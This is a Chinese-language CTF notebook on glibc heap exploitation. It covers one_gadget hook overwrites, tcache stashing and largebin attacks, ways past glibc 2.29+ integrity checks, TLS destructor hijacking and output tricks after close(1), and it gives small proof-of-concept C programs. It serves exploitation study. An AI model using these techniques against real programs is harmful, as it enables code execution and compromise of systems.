Note
Search…
ctf笔记
随心情笔记,不定期更新

one_gadgets笔记:

1.改malloc_hook为one_gadgets,一般malloc触发的方式,one_gadgets由于限制条件不满足,执行都不会成功,可以考虑free两次造成double free,调用malloc_printerr触发,恰好[esp+0x50]=0(当向非标准IO函数向缓冲流输出或输入的数据过大时,往往会先预先给数据分配内存。比如printf/scanf-打印/输入字符串过长时会触发malloc)
2.在地址上malloc_hook与realloc_hook是相邻的,在攻击malloc_hook我们没有能够成功执行one_gadgets,但是我们可以通过将malloc_hook更改为_libc_realloc+0x14,将realloc_hook更该为one_gadgets。 这样的好处在于,我们能够控制__malloc_hook指向的代码的内容,规避掉_libc_realloc中部分指令,从而更改在执行one_gadgets时的占空间,创建能够成功执行one_gadgets的栈空间。这是一个很巧妙的点
3.虽然__free_hook上方几乎是"\x00",无可用size,但是我们可以先用 unsorted attack 攻击__free_hook上方,在其上方踩出 size,再去劫持 __free_hook。
4.使用tcache stashing attackunsorted_bin_attack,将_IO_2_1_stdin_->_IO_buf_end改成main_arena+x(我这里是+352),从而可以在scanf的时候输入数据到realloc_hookmalloc_hook,改成one_gadget,调节下偏移即可。
5.利用house of husk ,覆写__printf_function_table表为heap地址(让其不为空),覆写__printf_arginfo_table表为heap地址且heap['s']被覆写为了one_gadget,在调用格式化字符带有%sprintf()函数时,即可get shell。
6.写exit函数在ld.so中的_rtld_global._dl_rtld_lock_rescursive 为one_gadget
7.当程序开启full relor时,可写libc中puts函数开头的strlen的got表

无leak函数的利用笔记:

  • 没开PIE的情况
1.可申请或者构造非fastbin chunk情况,能够修改free_got --> puts_plt,下次释放一个unsorted_bin chunk(入链)或者fastbin chunk(入链) ,程序调用链 free->free_got->puts_plt->puts 以此泄露libc地址或者heap地址。
2.只能存在fastbin chunk情况,修改 free_got 为 printf,释放一个有格式化字符串的chunk,利用构造格式化字符串漏洞 打印栈中的 libc 地址。
  • 开启PIE的情况
  • 无须泄露,全程爆破的方式(不实用)

IO_FILE笔记

程序调用exit 后会遍历 _IO_list_all,调用 _IO_2_1_stdout_ 下的vatable中_setbuf 函数.

glibc缺陷

glibc缺陷 : 对于未开启tcache版本来说,只要释放chunk大小在fastbin范围,那就不检查当前释放这个chunk是否已经free(通常检测下一个相邻chunk的prev_size位),就直接将其放入fastbin;
对于开启tcache版本来说,只要tcache中有空,那就不检查当前释放这个chunk是否已经free(通常检测下一个相邻chunk的prev_size位),并直接将其放入tcache中。对于开启tcache这种情况,相对来说就会更危险,我们很容易构造堆风水来实现进一步利用。

malloc_consolidate笔记

malloc_consolidate()函数用于将 fast bins 中的 chunk 合并,并加入 unsorted bin 中。 ptmalloc中会有以下几种情况会调用malloc_consolidate()
  1. 1.
    _int_malloc的while循环之前,分配的 chunk 属于 small bin,如果 small bin 还没有初始化为双向循环链表,则调用malloc_consolidate()函数将 fast bins中的 chunk 合并.
  2. 2.
    _int_malloc的while循环之前,分配的 chunk 属于 large bin,判断当前分配区的 fast bins 中是否包含 chunk,如果存在,调用 malloc_consolidate()函数合并 fast bins 中的 chunk
  3. 3.
    在分配chunk时 假如最后 top chunk 也不能满足分配要求,就会查看 fast bins 中是否有空闲 chunk ,若存在就调用malloc_consolidate()函数,并重新设置当前 bin 的 index,并转到最外层的循环,尝试重新分 配 chunk。
  4. 4.
    在释放chunk时,遇到相邻空闲chunk合并或者与topchunk合并,如果合并后的 chunk 大小大于 64KB,并且 fast bins 中存在空闲 chunk,则会调用malloc_consolidate()函数合并 fast bins 中的空闲 chunk 到 unsorted bin 中
一些能触发malloc_consolidate的 trick
  • scanf时可输入很长一段字符串 "1"*0x1000,这样可以导致scanf内部扩充缓冲区,从而调用init_malloc来分配更大的空间,从而导致malloc_consolidate,合并fast_bin中的空闲chunk。调用栈如图:
  • 如果程序没有setbuf(stdin,0)也就是没有关闭stdin的缓冲区。getchar() 会开辟一个很大的堆块形成缓冲区,也就是申请0x400的chunk,此时fast_bin中存在chunk,就会调用malloc_consolidate合并
1
pwndbg> bt
2
3
#0 __GI___libc_malloc (bytes=1024) at malloc.c:2902
4
#1 0x00007ffff7a7a1d5 in __GI__IO_file_doallocate (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at filedoalloc.c:127
5
#2 0x00007ffff7a88594 in __GI__IO_doallocbuf (fp=[email protected]=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:398
6
#3 0x00007ffff7a8769c in _IO_new_file_underflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at fileops.c:556
7
#4 0x00007ffff7a8860e in __GI__IO_default_uflow (fp=0x7ffff7dd18e0 <_IO_2_1_stdin_>) at genops.c:413
8
#5 0x00007ffff7a83255 in getchar () at getchar.c:37
Copied!

程序退出

1.程序会执行到libc里面__GI___call_tls_dtors函数
1
0x7ffff7a475d0 <__GI___call_tls_dtors>: push rbp
2
0x7ffff7a475d1 <__GI___call_tls_dtors+1>: push rbx
3
0x7ffff7a475d2 <__GI___call_tls_dtors+2>: sub rsp,0x8
4
0x7ffff7a475d6 <__GI___call_tls_dtors+6>: mov rbp,QWORD PTR [rip+0x3897a3] # 0x7ffff7dd0d80
5
=> 0x7ffff7a475dd <__GI___call_tls_dtors+13>: mov rbx,QWORD PTR fs:[rbp] # rbp=-0x40
6
0x7ffff7a475e2 <__GI___call_tls_dtors+18>: test rbx,rbx
7
0x7ffff7a475e5 <__GI___call_tls_dtors+21>: je 0x7ffff7a4762e <__GI___call_tls_dtors+94>
8
0x7ffff7a475e7 <__GI___call_tls_dtors+23>: nop WORD PTR [rax+rax*1+0x0]
9
0x7ffff7a475f0 <__GI___call_tls_dtors+32>: mov rdx,QWORD PTR [rbx+0x18]
10
0x7ffff7a475f4 <__GI___call_tls_dtors+36>: mov rax,QWORD PTR [rbx]
11
0x7ffff7a475f7 <__GI___call_tls_dtors+39>: mov rdi,QWORD PTR [rbx+0x8]
12
0x7ffff7a475fb <__GI___call_tls_dtors+43>: ror rax,0x11
13
0x7ffff7a475ff <__GI___call_tls_dtors+47>: xor rax,QWORD PTR fs:0x30
14
0x7ffff7a47608 <__GI___call_tls_dtors+56>: mov QWORD PTR fs:[rbp+0x0],rdx
15
0x7ffff7a4760d <__GI___call_tls_dtors+61>: call rax
16
0x7ffff7a4760f <__GI___call_tls_dtors+63>: mov rax,QWORD PTR [rbx+0x10]
Copied!
观察看出,__GI___call_tls_dtors+18也就是rbx不为零时,程序会执行到下面的call rax,且参数是由rbx控制,再看__GI___call_tls_dtors+13,rbx是fs:[-0x40],也就是当前线程栈的TLS结构体的上方0x40处,若能覆盖到此处,就能控制程序执行流程。在最终call rax之前,还有一次ror rax,0x11xor rax, fs:[0x30],需要leak出TLS的pointer_guard成员.
1
typedef struct {
2
void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */
3
dtv_t *dtv;
4
void *self; /* Pointer to the thread descriptor. */
5
int multiple_threads;
6
int gscope_flag;
7
uintptr_t sysinfo;
8
uintptr_t stack_guard; #canary offset=fs:0x28
9
uintptr_t pointer_guard;
10
... } tcbhead_t;
Copied!
2.程序在执行退出流程时,最终会在ld.so这个动态装载器里面调用_dl_fini函数,这个函数,利用方式见下图:
1
pwndbg>
2
10:00800x7fffffffe4c0 ◂— 0x0
3
...
4
13:00980x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
5
14:00a0│ 0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
6
15:00a8│ 0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp 0x7ffff7de77b0
7
16:00b0│ 0x7fffffffe4f0 ◂— 0x0
Copied!
rbx的值为栈里_dl_init+139上方的0x7ffff7ffe168

calloc绕过 leak

2.23及 以上libc都适用
1
#include<stdio.h>
2
#include<stdlib.h>
3
#include<string.h>
4
5
typedef long *longptr;
6
7
int main()
8
9
{
10
longptr v[7];
11
long *a,*b,*c;
12
13
a=malloc(20);
14
b=malloc(20);
15
16
memset(b,'A',20);
17
/*
18
for (int i=0;i<7;i++)
19
{
20
v[i]=malloc(20);
21
}
22
23
for (int i=0;i<7;i++)
24
{
25
free(v[i]);
26
}
27
*/
28
free(b);
29
b[-1] |= 2;
30
31
c=calloc(1,20);
32
33
for (int i=0;i<20;i++)
34
{
35
printf("%.2x",((char *)c)[i]);
36
37
}
38
putchar("\n");
39
exit(0);
40
41
}
Copied!
给fastbin_chunk的size的IS_MAPPED域置1.通过calloc分配到时,不会被清空。
1
[email protected]:~$ ./calloc
2
00000000000000004141414141414141414141419
Copied!

stack_povit

栈迁移到.bss段时,若栈上方(低地址处)有大约0x200字节的空白空间,则执行system函数就不会报错;但我们通常使用onegadget获取shell

fd相关 close(1)

  • 对于有write函数调用的情况下.
write函数直接能够将输出重定位到0或2描述符.
1
#include<stdio.h>
2
void main()
3
{
4
close(1);
5
write(0,"123",3);
6
return 0;
7
}
Copied!
这时能打印123.原因是0,1,2文件描述符都指向同一个tty文件,如下:
1
[master●]#~ file /proc/8642/fd/0
2
/proc/8942/fd/0: symbolic link to /dev/pts/18
3
[master●]#~ file /proc/8642/fd/1
4
/proc/8942/fd/1: symbolic link to /dev/pts/18
5
[master●]#~ file /proc/8642/fd/2
6
/proc/8942/fd/2: symbolic link to /dev/pts/18
Copied!
  • 无write函数调用情况下.
由于程序只关闭了文件描述符1,却没有关闭文件描述符0,所以我们可以修改stdout的文件描述符_fileno为0或2,则可以使得程序再次拥有了输出的能力,这时再调用printf或者puts就能输出了
  • close(1)后,格式化字符串最多只能写0x2000字节,这种情况下在利用时可修改程序.bss段中的stdout指针地址为stderr指针,由源码分析,在vprintf的check时刚好能通过,这使得printf再次拥有输出能力
  • close(1)时获取服务器端flag,利用重定向"cat flag >&0"
  • 再调用scanf时,会取到_IO_2_1_stdin_结构的fileno,最终汇到底层系统调用read(_IO_2_1_stdin_.fileno,buf,nbytes)。所以有些时候如果我们能够控制IO_stdin结构的fileno为其它fd,再去调用scanf函数时就可以实现从其它fd读数据。

off-by-one 构造思路

  • 方法一
  • 方法二
  • 方法三(非特殊情况不推荐)
原理与方法一类似,在能泄露heap地址前提下,直接构造fake_chunk,填好指针,绕过unlink

realloc

简化版的realloc,非mmapped分配方式
1
__libc_realloc (void *oldmem, size_t bytes)
2
3
{
4
5
checked_request2size (bytes, nb_szie);
6
old_size = chunksize (oldmem);
7
8
// 如果bytes为零,相当于free
9
if (bytes = 0)
10
{
11
free(oldmem);
12
return 0;
13
}
14
15
// 如果old_size大于请求size,那就缩减old_size,如果缩减的size小于当前arch最小chunk的大小(不能切割出一个chunk),那就直接返回原来的oldmem,剩下的交给用户处理,不多管.
16
if (old_size > nb_size)
17
{
18
19
if (old_size - nb_size >= 4 * SIZE_SZ)
20
{
21
free( oldmem + nb_size );
22
}
23
old_size=nb_size;
24
return oldmem;
25
}
26
27
28
// 如果old_size小于请求size,glibc2.23是按照常规malloc分配,2.27是从直接从topchunk分配
29
if (old_size < nb_size )
30
{
31
32
if (glibc==2.23)
33
{
34
p=malloc(bytes);
35
free(oldmem);
36
return p;
37
}
38
39
if(glibc==2.27)
40
{
41
p=malloc(bytes); // no_tcache 的_int_malloc不会分配tcache里面的chunk
42
free(oldmem);
43
return p;
44
}
45
46
}
47
48
}
Copied!

tcache相关

tcache_perthread_struct结构体是用来管理tcache链表: 这个结构体位于heap段的起始位置,且有size:0x251
1
typedef struct tcache_perthread_struct
2
{
3
char counts[TCACHE_MAX_BINS];//数组长度64,每个元素最大为0x7,仅占用一个字节(对应64个tcache链表)
4
tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组(对应64个tcache链表,cache bin中最大为0x400字节
5
//每一个指针指向的是对应tcache_entry结构体的地址。
6
} tcache_perthread_struct;
Copied!
一个tcache链表的结构,单个tcache bins默认最多包含7个块。tcache_entry: 2.26
1
typedef struct tcache_entry
2
{
3
struct tcache_entry *next;//指向的下一个chunk的fd字段
4
} tcache_entry;
Copied!
2.28存在bk字段所有的bk都指向tcache_perthread_struct的fd
1
typedef struct tcache_entry
2
{
3
//指向tcache的下一个chunk,
4
struct tcache_entry *next;
5
/* 这个字段是用来检测双重free释放的 */
6
struct tcache_perthread_struct *key;
7
} tcache_entry;
Copied!
放入tcache bin的情况:
  • 释放时,_int_free中在检查了size合法后(小于0x400),放入fastbin之前,它先尝试将其放入tcache
  • _int_malloc中,若fastbins中取出块则将对应bin中其余chunk填入tcache对应项直到填满(smallbins中也是如此)
  • 当进入unsorted bin(同时发生堆块合并)中找到精确的大小时,并不是直接返回而是先加入tcache中,直到填满:
取tcache bin中的chunk:
  • __libc_malloc_int_malloc之前,如果tcache中存在满足申请需求大小的块,就从对应的tcache中返回chunk
  • 在遍历完unsorted bin(同时发生堆块合并)之后,若是tcache中有对应大小chunk则取出并返回:
  • 在遍历unsorted bin时,大小不匹配的chunk将会被放入对应的bins,若达到tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出(默认无限制):

tcache struct攻击

  • tcache初始化
1
tcache_init(void)
2
{
3
mstate ar_ptr;
4
void *victim = 0;
5
const size_t bytes = sizeof (tcache_perthread_struct);
6
if (tcache_shutting_down)
7
return;
8
arena_get (ar_ptr, bytes);
9
victim = _int_malloc (ar_ptr, bytes);
10
if (!victim && ar_ptr != NULL)
11
{
12
ar_ptr = arena_get_retry (ar_ptr, bytes);
13
victim = _int_malloc (ar_ptr, bytes);
14
}
15
if (ar_ptr != NULL)
16
__libc_lock_unlock (ar_ptr->mutex);
17
/* In a low memory situation, we may not be able to allocate memory
18
- in which case, we just keep trying later. However, we
19
typically do this very early, so either there is sufficient
20
memory, or there isn't enough memory to do non-trivial
21
allocations anyway. */
22
if (victim)
23
{
24
tcache = (tcache_perthread_struct *) victim;
25
memset (tcache, 0, sizeof (tcache_perthread_struct));
26
}
27
}
Copied!
在程序需要进行动态分配时,如果是使用TCACHE机制的话,会先对tcache进行初始化。跟其他bins不一样的是,tcache是用_int_malloc函数进行分配内存空间的,因此tcache结构体是位于heap段,而不是main_arena。通常 tcache结构体位于堆首的chunk.
1
typedef struct tcache_perthread_struct
2
{
3
char counts[TCACHE_MAX_BINS];//0x40
4
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
5
} tcache_perthread_struct;
Copied!
tcache的结构是由0x40字节数量数组(每个字节代表对应大小tcache的数量)和0x200(0x40*8)字节的指针数组组成(每8个字节代表相应tache_entry链表的头部指针)。因此整个tcache_perthread_struct结构体大小为0x240。
  • tcache free
1
#if USE_TCACHE
2
{
3
size_t tc_idx = csize2tidx (size);
4
if (tcache
5
&& tc_idx < mp_.tcache_bins
6
&& tcache->counts[tc_idx] < mp_.tcache_count)//<7
7
{
8
tcache_put (p, tc_idx);
9
return;
10
}
11
}
12
#endif
Copied!
在将chunk放入tcahce的时候会检查tcache->counts[tcidx] < mp.tcache_count(无符号比较),也就是表示在tacha_entry链表中的tache数量是否小于7个。但值得注意的是,tcache->counts[tc_idx]是放在堆上的,因此如果可以修改堆上数据,可以将其改为较大的数,这样就不会将chunk放入tache了。
  • tcache malloc
1
#if USE_TCACHE
2
/* int_free also calls request2size, be careful to not pad twice. */
3
size_t tbytes;
4
checked_request2size (bytes, tbytes);
5
size_t tc_idx = csize2tidx (tbytes);
6
MAYBE_INIT_TCACHE ();
7
DIAG_PUSH_NEEDS_COMMENT;
8
if (tc_idx < mp_.tcache_bins
9
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
10
&& tcache
11
&& tcache->entries[tc_idx] != NULL)
12
{
13
return tcache_get (tc_idx);
14
}
15
DIAG_POP_NEEDS_COMMENT;
16
#endif
Copied!
而在tcache分配时,不会检查tcache->counts[tc_idx]的大小是否大于0,会造成下溢。且没有检测entries处chunk的合法性,我们若能伪造tcache->entries[tc_idx]tcache_entry指针,那我们就能实现从tcache任意地址分配chunk。

关于glibc 2.29及以上一些check的绕过

1.在unlink操作前增加了prevsize的检查机制:在合并的时候会判断prev_size和要合并chunk的size是否相同。
1
/* consolidate backward */
2
if (!prev_inuse(p)) {
3
prevsize = prev_size (p);
4
size += prevsize;
5
p = chunk_at_offset(p, -((long) prevsize));
6
if (__glibc_unlikely (chunksize(p) != prevsize))
7
malloc_printerr ("corrupted size vs. prev_size while consolidating");
8
unlink_chunk (av, p);
9
}
Copied!
这样导致了常规off-by-null的构造方式失效,但可利用残余在 large bin 上的 fd_nextsize / bk_nextsize 指针,smallbin残留的bk指针,以及fastbin的fd指针 来构造出一个天然的chunk链来绕过size检测与双向链表检测。具体见https://bbs.pediy.com/thread-257901.htm
2.增加了tcache_double_free的检测,2.29将每个放入tcache中的chunk->bk(也是tcache entries结构的key位)设置为tcache。
1
void
2
tcache_put (mchunkptr chunk, size_t tc_idx)
3
{
4
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
5
assert (tc_idx < TCACHE_MAX_BINS);
6
7
/* Mark this chunk as "in the tcache" so the test in _int_free will
8
detect a double free. */
9
e->key = tcache;
10
11
e->next = tcache->entries[tc_idx];
12
tcache->entries[tc_idx] = e;
13
++(tcache->counts[tc_idx]);
14
}
Copied!
在释放tcache中的chunk时,只根据相应的tc_idx检测重复chunk
1
/* This test succeeds on double free. However, we don't 100%
2
trust it (it also matches random payload data at a 1 in
3
2^<size_t> chance), so verify it's not an unlikely
4
coincidence before aborting. */
5
if (__glibc_unlikely (e->key == tcache))
6
{
7
tcache_entry *tmp;
8
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
9
for (tmp = tcache->entries[tc_idx];
10
tmp;
11
tmp = tmp->next)
12
if (tmp == e)
13
malloc_printerr ("free(): double free detected in tcache 2");
14
/* If we get here, it was a coincidence. We've wasted a
15
few cycles, but don't abort. */
16
}
Copied!
绕过方式:可以将同一个tcache_chunk放入不同的tcache_bin或其他bin中来重新实现利用(这种方式见House_of_botcake);也可以篡改chunk->key,使其e->key != tcache来绕过。
也可以利用fastbin的double free,待fastbin形成double_free链后再malloc重分配清空tchache预留位置,最后一次malloc使得剩余fastbin进入tcache,实现堆块复用。详细可参见glibc2.31下的新double free手法/字节跳动pwn题gun题解
3._int_malloc中,使用unsortedbin_attack时,增加了对unsortedbin双向链表的完整性检测,导致unsortedbin_attack不可用.
1
/* remove from unsorted list */
2
if (__glibc_unlikely (bck->fd != victim))
3
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
4
unsorted_chunks (av)->bk = bck;
5
bck->fd = unsorted_chunks (av);
Copied!
但有另外的地方可利用,unsortedbin_attack无非就是往一个地址写一个值,如果只是为了改例如global_max_fast,那largebin_attack完全可以替代,只不过写入的是堆地址,只是和largebin_attack配套的house of strom来实现任意地址分配不能用了。
1
if (__glibc_unlikely (size <= 2 * SIZE_SZ)
2
|| __glibc_unlikely (size > av->system_mem))
3
malloc_printerr ("malloc(): invalid size (unsorted)");
4
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
5
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
6
malloc_printerr ("malloc(): invalid next size (unsorted)");
7
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
8
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
9
if (__glibc_unlikely (bck->fd != victim)
10
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
11
malloc_printerr ("malloc(): unsorted double linked list corrupted");
12
if (__glibc_unlikely (prev_inuse (next)))
13
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
Copied!
如果要达到写libc地址,也可以,有师傅把它叫做tcache stash unlink attack plus
1
if (in_smallbin_range (nb))
2
{
3
idx = smallbin_index (nb);
4
bin = bin_at (av, idx);
5
6
if ((victim = last (bin)) != bin)
7
{
8
bck = victim->bk;
9
if (__glibc_unlikely (bck->fd != victim))
10
malloc_printerr ("malloc(): smallbin double linked list corrupted");
11
set_inuse_bit_at_offset (victim, nb);
12
bin->bk = bck;
13
bck->fd = bin;
14
15
if (av != &main_arena)
16
set_non_main_arena (victim);
17
check_malloced_chunk (av, victim, nb);
18
#if USE_TCACHE
19
/* While we're here, if we see other chunks of the same size,
20
stash them in the tcache. */
21
size_t tc_idx = csize2tidx (nb);
22
if (tcache && tc_idx < mp_.tcache_bins)
23
{
24
mchunkptr tc_victim;
25
26
/* While bin not empty and tcache not full, copy chunks over. */
27
while (tcache->counts[tc_idx] < mp_.tcache_count
28
&& (tc_victim = last (bin)) != bin)
29
{
30
if (tc_victim != 0)
31
{
32
bck = tc_victim->bk;
33
set_inuse_bit_at_offset (tc_victim, nb);
34
if (av != &main_arena)
35
set_non_main_arena (tc_victim);
36
bin->bk = bck;
37
bck->fd = bin;
38
39
tcache_put (tc_victim, tc_idx);
40
}
41
}
42
}
43
#endif
44
void *p = chunk2mem (victim);
45
alloc_perturb (p, bytes);
46
return p;
47
}
48
}
Copied!
前置条件是:对应tcache中预留2个chunk位(至少)(除非你能伪造fd,绕过双向链表检测)
small bin中存在2个chunk,我们修改small bin头部chunk的bk为target,fd不变( 不修改small bin尾部chunk是为了绕过分配时的smallbin double linked list corrupted检测 ),且target->bk( target+3*size_t )必须是一个可写地址,记作target->bk = attack_addr
原理是_int_malloc中,当从small bin中申请出chunk时,small bin尾部chunk在经过双向链表检测后会被分配出去,启用tcache会遍历small bin中剩余的chunk放入到对应tcache中,但此时的small bin链表已经被破坏,(tc_victim = last (bin)) != bin 这个条件恒成立直到abort,为了beak那个while循环,我们才在tcache中预留2个chunk位,直到tcache被填满tcache->counts[tc_idx] = mp_.tcache_count以此来跳出循环。
同时在最后一次unlink过程中会往attack_addr -> fd写入一个main_arena的地址,实现任意地址写。(当然这个洞在引入tcache时的glibc版本就已经存在)。
1
static void *
2
_int_malloc (mstate av, size_t bytes)
3
4
5
/* While bin not empty and tcache not full, copy chunks over. */
6
while (tcache->counts[tc_idx] < mp_.tcache_count
7
&& (tc_victim = last (bin)) != bin)
8
{
9
if (tc_victim != 0)
10
{
11
bck = tc_victim->bk;
12
set_inuse_bit_at_offset (tc_victim, nb);
13
if (av != &main_arena)
14
set_non_main_arena (tc_victim);
15
bin->bk = bck;
16
bck->fd = bin;
17
tcache_put (tc_victim, tc_idx);
18
}
19
}
Copied!
这时tcache已满,且tcache顶部刚好是我们伪造那个target_chunk
4.在使用top chunk的时候增加了检查:size要小于等于system_mems,因为House of Force需要控制top chunk的size为-1,不能通过这项检查,所以House of Force不可用
5.从glibc 2.30开始,常规large bin attack方法也被封堵
1
if ((unsigned long) size
2
== (unsigned long) chunksize_nomask (fwd))
3
/* Always insert in the second position. */
4
fwd = fwd->fd;
5
else
6
{
7
victim->fd_nextsize = fwd;
8
victim->bk_nextsize = fwd->bk_nextsize;
9
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
10
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
11
fwd->bk_nextsize = victim;
12
victim->bk_nextsize->fd_nextsize = victim;
13
}
14
bck = fwd->bk;
15
if (bck->fd != fwd)
16
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
Copied!
查看相关代码,发现其中只增加了对 size 大于最小 size 的时候做了 检查,但是小于最小 size 却没有进行检查,因此我们可以利用这一点来完成 libc2.30 及以上的largebin attack
具体做法是,往 largebin 中放一个堆块,并在 unsorted bin 中放一个比 large bin 中小但是在同一个 index的堆块,利用 uaf 修改 large binbk_nextsize = 目标地址,申请一个比 unsorted bin 中小的 chunk 触发攻击,此时 largebin->bk_nextsize->fd_nextsize 写入堆地址。

tcache相关冷门漏洞(任意地址写与任意地址分配)

1.small bin
1
if (in_smallbin_range (nb))
2
{
3
idx = smallbin_index (nb);
4
bin = bin_at (av, idx);
5
6
if ((victim = last (bin)) != bin)
7
{
8
bck = victim->bk;
9
if (__glibc_unlikely (bck->fd != victim))
10
malloc_printerr ("malloc(): smallbin double linked list corrupted");
11
set_inuse_bit_at_offset (victim, nb);
12
bin->bk = bck;
13
bck->fd = bin;
14
15
if (av != &main_arena)
16
set_non_main_arena (victim);
17
check_malloced_chunk (av, victim, nb);
18
#if USE_TCACHE
19
/* While we're here, if we see other chunks of the same size,
20
stash them in the tcache. */
21
size_t tc_idx = csize2tidx (nb);
22
if (tcache && tc_idx < mp_.tcache_bins)
23
{
24
mchunkptr tc_victim;
25
26
/* While bin not empty and tcache not full, copy chunks over. */
27
while (tcache->counts[tc_idx] < mp_.tcache_count
28
&& (tc_victim = last (bin)) != bin)
29
{
30
if (tc_victim != 0)
31
{
32
bck = tc_victim->bk;
33
set_inuse_bit_at_offset (tc_victim, nb);
34
if (av != &main_arena)
35
set_non_main_arena (tc_victim);
36
bin->bk = bck;
37
bck->fd = bin;
38
39
tcache_put (tc_victim, tc_idx);
40
}
41
}
42
}
43
#endif
44
void *p = chunk2mem (victim);
45
alloc_perturb (p, bytes);
46
return p;
47
}
48
}
Copied!
前置条件是:对应tcache中预留2个chunk位(至少)(除非你能伪造fd,绕过双向链表检测)
small bin中存在2个chunk,我们修改small bin头部chunk的bk为target,fd不变( 不修改small bin尾部chunk是为了绕过分配时的smallbin double linked list corrupted检测 ),且target->bk( target+3*size_t )必须是一个可写地址,记作target->bk = attack_addr
原理是_int_malloc中,当从small bin中申请出chunk时,small bin尾部chunk在经过双向链表检测后会被分配出去,启用tcache会遍历small bin中剩余的chunk放入到对应tcache中,但此时的small bin链表已经被破坏,(tc_victim = last (bin)) != bin 这个条件恒成立直到abort,为了beak那个while循环,我们才在tcache中预留2个chunk位,直到tcache被填满tcache->counts[tc_idx] = mp_.tcache_count以此来跳出循环。
同时在最后一次unlink过程中会往attack_addr -> fd写入一个main_arena的地址,实现任意地址写。
1
static void *
2
_int_malloc (mstate av, size_t bytes)
3
4
5
/* While bin not empty and tcache not full, copy chunks over. */
6
while (tcache->counts[tc_idx] < mp_.tcache_count
7
&& (tc_victim = last (bin)) != bin)
8
{
9
if (tc_victim != 0)
10
{
11
bck = tc_victim->bk;
12
set_inuse_bit_at_offset (tc_victim, nb);
13
if (av != &main_arena)
14
set_non_main_arena (tc_victim);
15
bin->bk = bck;
16
bck->fd = bin;
17
tcache_put (tc_victim, tc_idx);
18
}
19
}
Copied!
这时tcache已满,且tcache顶部刚好是我们伪造那个target_chunk
由于smallbin摘链后chunk全部进入tcache,且已满,这时tcache对应idx入口处的chunk是target_chunk。如果再次调用malloc申请chunk,得益于从tcache分配时未仔细检查chunk_head,这时便会从tcache中将这个target_chunk分配出来,实现任意地址分配内存。
demo代码可参考V1me师傅写的
1
#include<stdio.h>
2
#include<stdlib.h>
3
int main() {
4
char buf[0x100];
5
long *ptr1 = NULL, *ptr2 = NULL;
6
int i = 0;
7
8
memset(buf, 0, sizeof(buf));
9
*(long *)(buf + 8) = (long)buf + 0x40;
10
11
// put 5 chunks in tcache[0x90]
12
for (i = 0; i < 5; i++) {
13
free(calloc(1, 0x88));
14
}
15
16
// put 2 chunks in small bins
17
ptr1 = calloc(1, 0x168);
18
calloc(1, 0x18);
19
ptr2 = calloc(1, 0x168);
20
21
for (i = 0; i < 7; i++) {
22
free(calloc(1, 0x168));
23
}
24
25
free(ptr1);
26
ptr1 = calloc(1, 0x168 - 0x90);
27
28
free(ptr2);
29
ptr2 = calloc(1, 0x168 - 0x90);
30
31
calloc(1, 0x108);
32
33
// ptr1 and ptr2 point to the small bin chunks [0x90]
34
ptr1 += (0x170 - 0x90) / 8;
35
ptr2 += (0x170 - 0x90) / 8;
36
37
// vuln
38
ptr2[1] = (long)buf - 0x10;
39
40
// trigger
41
calloc(1, 0x88);
42
43
// malloc from tcache
44
ptr1 = malloc(0x88);
45
strcpy((char *)ptr1, "Ohhhhhh! you are pwned!");
46
printf("%s\n", buf);
47
return 0;
48
}
Copied!
2.fast bin
当从fastbin中分配出chunk时(比如调用calloc->_int_malloc),如果fastbin中还有剩余chunk且相对应idx的tcache有空闲位置,这时就会根据fd指针将剩余的fastbin_chunk链入tcache中,且在这个过程中并没有检查剩余fastbin_chunk的完整性。
1
static void *
2
_int_malloc (mstate av, size_t bytes)
3
4
#if USE_TCACHE
5
/* While we're here, if we see other chunks of the same size,
6
stash them in the tcache. */
7
size_t tc_idx = csize2tidx (nb);
8
if (tcache && tc_idx < mp_.tcache_bins)
9
{
10
mchunkptr tc_victim;
11
12
/* While bin not empty and tcache not full, copy chunks. */
13
while (tcache->counts[tc_idx] < mp_.tcache_count
14
&& (tc_victim = *fb) != NULL)
15
{
16
if (SINGLE_THREAD_P)
17
*fb = tc_victim->fd;
18
else
19
{
20
REMOVE_FB (fb, pp, tc_victim);
21
if (__glibc_unlikely (tc_victim == NULL))
22
break;
23
}
24
tcache_put (tc_victim, tc_idx);
25
}
26
}
27
#endif
Copied!
如果我们通过UAF能修改fastbin链表尾部chunk的fd指针为一个target_addr,当这个target_chunk最后被滑入tcache中时,target_chunk做为tcache的头部,若tcache中存在其他chunk,则target_chunk -> fd 就被写入一个堆地址,实现任意地址写。
与此同时,如果再次调用malloc申请chunk,得益于从tcache分配时未仔细检查chunk_head,这时便会从tcache中将这个target_chunk分配出来,实现任意地址分配内存。(任意地址分配内存在这种情况下是个鸡肋,因为我们完全可以不清空tcache,利用UAF+calloc也就是fastbin_attck来实现任意地址分配)

glibc 2.28及以上堆利用的栈转移

1.在2.29中vtable是可写的
2.setcontext函数中gadget指令可控寄存器变成了rdx,非rdi

1.利用FSOP控制程序流程

